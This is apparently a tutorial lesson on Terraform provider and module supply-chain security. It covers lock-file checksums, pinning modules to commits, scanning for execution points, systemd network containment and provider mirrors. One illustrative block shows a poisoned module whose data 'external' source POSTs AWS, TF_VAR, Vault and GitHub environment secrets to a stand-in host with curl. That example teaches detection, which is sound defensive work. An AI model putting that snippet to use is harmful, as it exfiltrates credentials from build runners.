Module & provider supply chain

Trust the code you did not write.

A terraform apply on a fifty-line configuration can pull several hundred megabytes of compiled binaries and a handful of other people's Git repositories onto your disk, then run all of it with credentials that can delete your production database. You wrote the fifty lines. Everything else arrived from the internet about ten seconds ago, and it runs at exactly the privilege you do.

Builders have a word for this arrangement: subcontracting. You hire one firm, hand over the master key ring for the building, and that firm turns up with a crew you never interviewed. The keys open every door, for all of them. Infrastructure as code (IaC, meaning you describe your servers, networks and permissions as text files kept in Git instead of clicking through a console) has the same shape. Your subcontractors arrive by version number, from a registry, in under a second, with nobody standing at the door.

Providers and modules fail differently

Two kinds of foreign code walk into a Terraform run, and mixing them up leads to defences that guard the wrong door. A provider is a sealed appliance you plug in. It is a compiled program: Terraform downloads it, writes it to disk, starts it as a child process, and talks to it over gRPC (a way for one program to call functions inside another program over a network connection, as though they were local). A module is a recipe card. It is .tf source text that Terraform reads and folds into your own configuration. One is a binary you cannot read. The other is text you can, if you bother.

# run this in a second shell while `terraform plan` is working
$ ps -eo pid,ppid,user,etimes,args | grep terraform-provider | grep -v grep

  41207   41193 tfrunner        6 .terraform/providers/registry.terraform.io/hashicorp/aws/5.70.0/linux_amd64/terraform-provider-aws_v5.70.0_x5
  41214   41193 tfrunner        6 .terraform/providers/registry.terraform.io/acme-labs/vault-helper/0.4.1/linux_amd64/terraform-provider-vault-helper_v0.4.1

That second row is the whole lesson in one line. acme-labs/vault-helper is a provider nobody on your team has read, running as your user, holding whatever cloud credentials the run holds, free to open any network connection the machine allows. Terraform does not sandbox it in any way: same user, same filesystem, same network as the terraform process itself. So watch where it goes.

# grep would eat the header, so keep it deliberately
$ sudo ss -tnp state established '( dport = :443 )' | grep -E 'Peer Address|terraform'

Recv-Q Send-Q      Local Address:Port       Peer Address:Port  Process
     0      0        10.20.4.31:41522     52.94.225.248:443    users:(("terraform-provi",pid=41207,fd=14))
     0      0        10.20.4.31:41530     104.21.63.19:443     users:(("terraform-provi",pid=41214,fd=9))

The first connection goes to an Amazon API endpoint (API meaning application programming interface, the machine-facing door into a service), which is what you asked for. The second goes somewhere else, and no line of your configuration asked for it. On a laptop nobody notices. On a runner with egress logging, that second row is your detection. Note that both processes show the same name. The Linux kernel keeps only fifteen characters of a task's name in its comm field, so terraform-provider-aws and terraform-provider-vault-helper both appear as terraform-provi. Match on the process ID, never on the name.

Modules cannot do any of that by themselves, because a module is only text. What a module can do is add resources you never asked for, and drag in providers you never chose. Any module may declare its own required_providers, and terraform init will fetch and run them without comment. The terraform providers command prints the real list, including the ones that arrived inside somebody else's code.

$ terraform providers

 
Providers required by configuration:
.
├── provider[registry.terraform.io/hashicorp/aws] ~> 5.70
└── module.vpc
    ├── provider[registry.terraform.io/hashicorp/aws] >= 5.46.0
    └── module.vpc_endpoints
        └── provider[registry.terraform.io/acme-labs/vault-helper] >= 0.4.0
 
Providers required by state:
 
    provider[registry.terraform.io/hashicorp/aws]
 

The lock file is a delivery receipt with fingerprints

A courier receipt that records the weight of every parcel is worth more than one that records only the names on the boxes. Names get reused. Weight cannot be faked without changing what is inside. The file .terraform.lock.hcl is the weight version. Terraform writes it on the first init and records, for every provider, the exact version it chose, the constraint that permitted that version, and a set of SHA-256 checksums (SHA-256 turns any number of bytes into one fixed-length fingerprint, so changing a single byte changes the fingerprint completely).

# This file is maintained automatically by "terraform init".
# Manual edits may be lost in future updates.
 
provider "registry.terraform.io/hashicorp/aws" {
  version     = "5.70.0"
  constraints = "~> 5.70"
  hashes = [
    "h1:8ptVaFnG1oQLJlHhc4rrNHzCqTDBhP5X/1UMuOMDNAA=",
    "h1:CFnENOIJ1D3n1uRXBnKfR7hcuLZ0DDGwmVIQZaqDPk8=",
    "h1:qOfV5t2SqBcLnHkOKNjJgWnDgFhZfKQ4pXn5wCLJhKI=",
    "zh:0f2b4a8c2f0f7d9d0d0e6e1a2b3c4d5e6f708192a3b4c5d6e7f8091a2b3c4d5e",
    "zh:1c9d8e7f6a5b4c3d2e1f00112233445566778899aabbccddeeff001122334455",
    "zh:3b27956f8541d46704fda234e0d535c2ae2a4b33411848b1ee262a1ec03568b0",
    "zh:57ed8935c7d56dbc91cf2673534582cacfaab7a2f105f51d9f797e99df0c0c47",
    "zh:79cd1bab1261a07f84e917191d7ddc4340ac5f5524283767256f7ffd7f87caf0",
  ]
}

The two prefixes mean different things, and the difference is the point of the whole file. A zh: (zip hash) is the SHA-256 of the release archive as published, copied out of the SHA256SUMS document that the publisher signs with GPG (GNU Privacy Guard, the standard tool for signing a file so anyone can prove who produced it). That hash carries provenance: follow it back far enough and you reach a signature. An h1: is computed on your own machine, over the contents of the unpacked package. It proves the bytes you have are the bytes you had last time, and says nothing about who made them. You get one h1: per platform you have actually installed, and one zh: per platform the publisher released. Three h1: lines above means somebody recorded three platforms on purpose. Commit the file.

$ terraform init

Initializing the backend...
Initializing modules...
Downloading registry.terraform.io/terraform-aws-modules/vpc/aws 5.13.0 for vpc...
- vpc in .terraform/modules/vpc
Initializing provider plugins...
- Finding hashicorp/aws versions matching "~> 5.70"...
- Finding acme-labs/vault-helper versions matching ">= 0.4.0"...
- Installing hashicorp/aws v5.70.0...
- Installed hashicorp/aws v5.70.0 (signed by HashiCorp)
- Installing acme-labs/vault-helper v0.4.1...
- Installed acme-labs/vault-helper v0.4.1 (self-signed, key ID A1B2C3D4E5F60718)
 
Partner and community providers are signed by their developers.
If you'd like to know more about provider signing, you can read about it here:
https://developer.hashicorp.com/terraform/cli/plugins/signing
 
Terraform has created a lock file .terraform.lock.hcl to record the provider
selections it made above. Include this file in your version control repository
so that Terraform can guarantee to make the same selections by default when
you run "terraform init" in the future.
 
Terraform has been successfully initialized!

Terraform announces the trust tier of every provider it installs, on a line most people scroll straight past. signed by HashiCorp is first party. signed by a HashiCorp partner is a vendor whose key HashiCorp vouched for. self-signed means the key is whatever the publisher uploaded, so the signature proves the same key published every release and nothing more. That is genuinely useful, because an attacker who takes over the namespace but not the key gets caught, and it is not an endorsement. Two more strings appear once you leave the registry path. You see (unauthenticated) when a package comes from a local mirror with no signature to check, and Using hashicorp/aws v5.70.0 from the shared cache directory when it comes from the plugin cache, which carries no trust wording at all.

Once those hashes are committed, tampering fails loudly. Swap a binary in a mirror, or point a registry at a different artifact, and the next clean init refuses to continue.

$ rm -rf .terraform && terraform init

Initializing the backend...
 
Initializing provider plugins...
- Reusing previous version of hashicorp/aws from the dependency lock file
- Installing hashicorp/aws v5.70.0...
╷
│ Error: Failed to install provider
│ 
│ Error while installing hashicorp/aws v5.70.0: the current package for
│ registry.terraform.io/hashicorp/aws 5.70.0 doesn't match any of the
│ checksums previously recorded in the dependency lock file; for more
│ information:
│ https://developer.hashicorp.com/terraform/language/provider-checksum-verification
╵

Now the part teams get wrong, because the same error fires when nothing malicious happened. A lock file written by an ordinary init against the public registry holds every zh: hash the publisher released, and those cover every platform, so a Mac laptop and a Linux runner both verify fine. The trap is a lock file with no zh: entries at all. Install through the shared plugin cache, or from a filesystem mirror, and Terraform never sees the signed SHA256SUMS document, so it can record only the h1: it computed locally, for the one platform in front of it. Commit that and the next machine with a different chip or operating system has nothing it can check against, and the build dies with a message that reads exactly like an attack. Record every platform your team and your pipeline use, deliberately, up front.

$ terraform providers lock \
    -platform=linux_amd64 \
    -platform=darwin_arm64 \
    -platform=windows_amd64

- Fetching hashicorp/aws 5.70.0 for linux_amd64...
- Retrieved hashicorp/aws 5.70.0 for linux_amd64 (signed by HashiCorp)
- Fetching hashicorp/aws 5.70.0 for darwin_arm64...
- Retrieved hashicorp/aws 5.70.0 for darwin_arm64 (signed by HashiCorp)
- Fetching hashicorp/aws 5.70.0 for windows_amd64...
- Retrieved hashicorp/aws 5.70.0 for windows_amd64 (signed by HashiCorp)
- Obtained hashicorp/aws checksums for linux_amd64; This was a new provider and the checksums for this platform are now tracked in the lock file
- Obtained hashicorp/aws checksums for darwin_arm64; This was a new provider and the checksums for this platform are now tracked in the lock file
- Obtained hashicorp/aws checksums for windows_amd64; This was a new provider and the checksums for this platform are now tracked in the lock file
 
Success! Terraform has updated the lock file.
 
Review the changes in .terraform.lock.hcl and then commit to your
version control system to retain the new checksums.

In continuous integration (CI, the automated system that builds and tests every change you push), add one flag so the pipeline can never rewrite the receipt on your behalf. Provider changes then have to arrive as a committed diff that a human approved. Here somebody has added a module that quietly requires a new provider.

$ terraform init -input=false -lockfile=readonly

Initializing the backend...
Initializing modules...
Downloading git::https://github.com/acme/tf-modules.git for logging...
- logging in .terraform/modules/logging
 
Initializing provider plugins...
- Reusing previous version of hashicorp/aws from the dependency lock file
- Finding acme-labs/vault-helper versions matching ">= 0.4.0"...
- Installing hashicorp/aws v5.70.0...
- Installed hashicorp/aws v5.70.0 (signed by HashiCorp)
- Installing acme-labs/vault-helper v0.4.1...
- Installed acme-labs/vault-helper v0.4.1 (self-signed, key ID A1B2C3D4E5F60718)
╷
│ Error: Provider dependency changes detected
│ 
│ Changes to the required provider dependencies were detected, but the lock
│ file is read-only. To use and record these requirements, run "terraform
│ init" without the "-lockfile=readonly" flag.
╵

Read the order of that output carefully, because it tells you what the flag does and does not buy. Terraform downloaded and unpacked the new provider first, then refused to record it. The binary is on disk. What the flag prevented is the silent update of your receipt, and the plan that would have started that binary. It is a gate, not a shield.

Modules get no checksums at all

Here is the part that surprises people. The dependency lock file covers providers. It does not cover modules. No checksum, no signature, no content verification of module source anywhere in a normal Terraform workflow. What you get instead is an address plus a version, and how immutable that pair really is depends entirely on which form you wrote.

A Git tag is a sticky label on a shelf. Anyone with push access can peel it off and stick it on a different shelf, and every later init picks up the new contents under the old, already-reviewed name. A commit hash is the shelf itself, because the identifier is derived from the content and therefore cannot be made to point anywhere else. A public registry module version sits between the two: the registry resolves a version number to a tag in the upstream repository, so a moved tag changes what you receive under a version you thought you had pinned.

# Floating. Whatever "main" points at today, which is not what you reviewed.
module "vpc_bad" {
  source = "git::https://github.com/acme/tf-modules.git//vpc?ref=main"
}
 
# Better. Exact registry version; content still resolves to an upstream tag.
module "vpc_ok" {
  source  = "terraform-aws-modules/vpc/aws"
  version = "5.13.0"
}
 
# Best for third-party code you do not control: an immutable commit.
module "vpc_pinned" {
  source = "git::https://github.com/acme/tf-modules.git//vpc?ref=9f1c0b7e2c5b4a3d8e6f1027a4b9c3d5e7081926" # v5.13.0
  # note: the depth= shallow-clone option needs a branch or tag name,
  # so pinning to a commit means paying for a full clone
}

After init, Terraform writes down exactly what it resolved, including every child module that arrived inside a module you did trust. The tool jq slices JSON (JavaScript Object Notation, the plain-text data format the file is written in) into three readable columns. That manifest is the closest thing infrastructure code has to a bill of materials, and it belongs in your pipeline logs.

$ jq -r '.Modules[] | select(.Key != "") | "\(.Key)\t\(.Version // "-")\t\(.Source)"' \
    .terraform/modules/modules.json

vpc	5.13.0	registry.terraform.io/terraform-aws-modules/vpc/aws
vpc.vpc_endpoints	-	./modules/vpc-endpoints
logging	-	git::https://github.com/acme/tf-modules.git//logging?ref=main

A plan is code execution, not a preview

The word plan suggests a surveyor walking a site with a clipboard, touching nothing. Wrong picture. terraform plan starts every provider binary, hands them your credentials, and lets them make real API calls against your accounts. Two language features go further and run arbitrary commands on the machine itself. data "external" executes a program during plan, and provisioner "local-exec" executes a shell command during apply. Either one, sitting in a module you pulled from a floating branch, is a shell on your runner.

# What a poisoned module looks like on disk. This runs during
# `terraform plan`, before any resource exists, with the runner's environment.
data "external" "agent_id" {
  program = ["/bin/sh", "-c", <<-EOT
    env | grep -E '^(AWS_|TF_VAR_|VAULT_|GITHUB_)' \
      | curl -s -X POST --data-binary @- https://cdn-metrics.example.net/i \
      >/dev/null 2>&1
    printf '{"id":"a41f"}'
  EOT
  ]
}

The last line is what makes it invisible. The external data source demands a JSON object on standard output, so the script prints one, the data source succeeds, and the run looks completely ordinary. Your terminal says Plan: 4 to add, 0 to change, 0 to destroy while your environment has already left the building. On a CI runner that environment holds far more than cloud keys: the pipeline's own token, every TF_VAR_ secret, often a Vault address and token. There is one faint tell. data "external" requires the hashicorp/external provider, which Terraform installs implicitly, so a module that previously had no provider dependency suddenly grows one in terraform providers output.

The first defence is grep. Unglamorous, and it works. After init, all resolved module source is sitting on disk under .terraform/modules, so you can scan the code you actually received rather than the code you meant to receive.

$ grep -rnE 'data "external"|data "http"|provisioner "(local|remote)-exec"' \
    .terraform/modules --include='*.tf'

.terraform/modules/vpc/main.tf:1187:  provisioner "local-exec" {
.terraform/modules/logging/agent.tf:3:data "external" "agent_id" {

Two hits, so you have two things to read instead of forty thousand lines. Wire that command into CI as a check that fails when the count goes up, and a newly introduced execution point becomes a review conversation rather than a surprise. A virtual private cloud module (VPC, your own walled-off slice of a cloud provider's network) has no honest reason to shell out at plan time.

Contain the run

The second defence is the one that scales, because you are never going to read 600 megabytes of provider. Bound what the run can reach instead. Give the subcontractor a key that opens one room and a phone that dials one number. On a current Linux box, systemd (the program that starts and supervises every service on the machine) does most of this in a few lines, and its limits apply to child processes, which is precisely where the providers live.

[Unit]
Description=Terraform plan for third-party infrastructure code
After=network-online.target
Wants=network-online.target
 
[Service]
Type=oneshot
User=tfrunner
WorkingDirectory=/srv/tf/workspace
 
# ProtectHome=yes below makes the real home directory unreadable, so point
# Terraform somewhere it can actually reach instead of ~/.terraformrc.
Environment=HOME=/srv/tf/workspace
Environment=TF_CLI_CONFIG_FILE=/srv/tf/cli.tfrc
Environment=TF_IN_AUTOMATION=1
Environment=CHECKPOINT_DISABLE=1
Environment=HTTPS_PROXY=http://10.20.0.7:3128
ExecStart=/usr/bin/terraform plan -input=false -lock-timeout=60s -out=tf.plan
 
# Filesystem: one writable directory, nothing else.
ProtectSystem=strict
ProtectHome=yes
PrivateTmp=yes
ReadWritePaths=/srv/tf/workspace
 
# Privileges.
NoNewPrivileges=yes
PrivateDevices=yes
RestrictSUIDSGID=yes
LockPersonality=yes
ProtectKernelTunables=yes
ProtectKernelModules=yes
ProtectControlGroups=yes
SystemCallFilter=@system-service
SystemCallErrorNumber=EPERM
 
# Network: everything leaves through the logging proxy, written as a number
# because these rules block name lookups too. AF_UNIX is listed for the
# plugin handshake and is untouched by the IPAddress rules.
RestrictAddressFamilies=AF_UNIX AF_INET AF_INET6
IPAddressDeny=any
IPAddressAllow=10.20.0.7/32
 
[Install]
WantedBy=multi-user.target

IPAddressDeny=any is the line that earns its keep. systemd attaches an eBPF program (extended Berkeley Packet Filter, small programs the kernel runs on your behalf, here on every packet the service sends or receives) to the service's control group, so a provider trying to post your environment to an address you never allowed gets its connection refused with EPERM, the kernel's "operation not permitted", instead of a 200 OK. Two things it does not do, both worth knowing. It has no effect on Unix domain sockets, which is how Terraform talks to its plugins, so plugin startup is unaffected by anything in that block. And it blocks name resolution along with everything else, so DNS (the Domain Name System, the internet's phone book that turns registry.terraform.io into an address) stops working. That is why the proxy is given as a number, and why it is the proxy that performs the lookups. Check the result rather than trusting the file you wrote.

$ sudo systemctl daemon-reload
$ systemd-analyze security tf-plan.service | tail -n 8

✗ IPAddressDeny=                                   Service defines IP address allow list with non-localhost entries        1.6
✗ RestrictNamespaces=~CLONE_NEWUSER                Service may create user namespaces                                      0.3
✓ RestrictAddressFamilies=~AF_PACKET               Service cannot allocate packet sockets                                     
✓ SystemCallFilter=~@debug                         System call allow list defined for service, and @debug is not included     
✓ SystemCallFilter=~@mount                         System call allow list defined for service, and @mount is not included     
✓ ProtectSystem=                                   Service has strict read-only access to the OS file hierarchy               
 
→ Overall exposure level for tf-plan.service: 3.9 OK 🙂

The checker marks you down for having an allow list at all, which is fair and also the point: one permitted address is weaker than zero, and that one address is the proxy you built. Now prove the filter actually bites. Use a literal address in the test, because a hostname would fail at the lookup step and hand you a DNS error instead of the answer you wanted.

$ sudo systemd-run --quiet --wait --pipe \
    -p IPAddressDeny=any -p IPAddressAllow=10.20.0.7/32 \
    /usr/bin/curl -sS --max-time 5 https://52.94.225.248/

curl: (7) Failed to connect to 52.94.225.248 port 443 after 0 ms: Operation not permitted

Mirror what you trust

Once you have decided a provider version is acceptable, stop fetching it from the internet on every run. terraform providers mirror copies the exact packages your configuration needs into a directory you own, and a small command line interface config file (CLI, the text-command way of driving a program) tells Terraform to install from there and nowhere else.

$ terraform providers mirror -platform=linux_amd64 /srv/tf-mirror

- Mirroring hashicorp/aws...
  - Selected v5.70.0 to meet constraints ~> 5.70
  - Downloading package for linux_amd64...
  - Package authenticated: signed by HashiCorp
- Mirroring acme-labs/vault-helper...
  - Selected v0.4.1 to meet constraints >= 0.4.0
  - Downloading package for linux_amd64...
  - Package authenticated: self-signed

# In CI, point TF_CLI_CONFIG_FILE at this file instead of relying on $HOME.
provider_installation {
  filesystem_mirror {
    path    = "/srv/tf-mirror"
    include = ["registry.terraform.io/*/*"]
  }
  direct {
    # without this exclude, Terraform silently falls back to the
    # public registry whenever the mirror is missing something
    exclude = ["registry.terraform.io/*/*"]
  }
}

That exclude is what turns a cache into a control. One trade comes with it. Packages installed from a filesystem mirror carry no signature, so init prints (unauthenticated) beside every one of them, with or without a lock file present. You have swapped the registry's signature for your own review at the moment you filled the mirror, which is a fair swap only if the review happened. The lock file still checks contents by hash, so quietly editing files in the mirror directory afterwards is caught on the next init. Note also that mirrors serve providers only. Modules have no equivalent, which is why teams either vendor module source into their own repository or run a private module registry.

Charts and images ride in the same door

Helm charts and container images reach production the same way. Pin a chart to an exact version and commit Chart.lock, then read that file's digest: line for what it actually is: a hash of the dependency list you declared, not a checksum of the chart contents you downloaded. It notices a changed Chart.yaml and nothing else, so it is a weaker instrument than .terraform.lock.hcl and should not be trusted like one. Pin base images by digest (nginx@sha256:...) rather than by tag, since a tag is the same movable sticky label a Git tag is. Chart signing exists and is worth asking for, though expect an honest answer most of the time.

$ helm repo add ingress-nginx https://kubernetes.github.io/ingress-nginx
$ helm pull --verify --keyring ~/helm-keyring.gpg \
    ingress-nginx/ingress-nginx --version 4.11.3

"ingress-nginx" has been added to your repositories
Error: failed to fetch provenance "https://github.com/kubernetes/ingress-nginx/releases/download/helm-chart-4.11.3/ingress-nginx-4.11.3.tgz.prov"

Most public charts publish no provenance file, so --verify fails and you have learned something true about your supply chain. Where charts ship as OCI artifacts (Open Container Initiative, the packaging standard the container registries agreed on), you get a better option: sign them with cosign and verify at pull time, exactly as you would an image. One practical trap on the keyring path. GnuPG 2 keeps public keys in pubring.kbx and Helm can only read the older format, so export to a file of its own first with gpg --export > ~/helm-keyring.gpg. Writing that export over ~/.gnupg/pubring.gpg works too, and then confuses gpg itself later.

Go and run terraform providers in your largest root module, then count how many entries arrived through somebody else's module rather than through a required_providers block you wrote. Every one of those is a program that will start on your runner, as your user, with your credentials, the next time anyone types plan. That number is your real supply chain, and it is usually larger than the one in your head.

Try this

Run ps -eo pid,ppid,user,etimes,args | grep terraform-provider | grep -v grep on a scratch host or disposable cluster and read the output against what this lesson described. Then change one input so it fails, and re-run: the error you get is the one you will meet in production.

Takeaway

The trap worth remembering here: -upgrade rewrites the receipt without asking. Check that on your own systems before you need to, because it is cheaper to find on a quiet afternoon than during an incident.

Related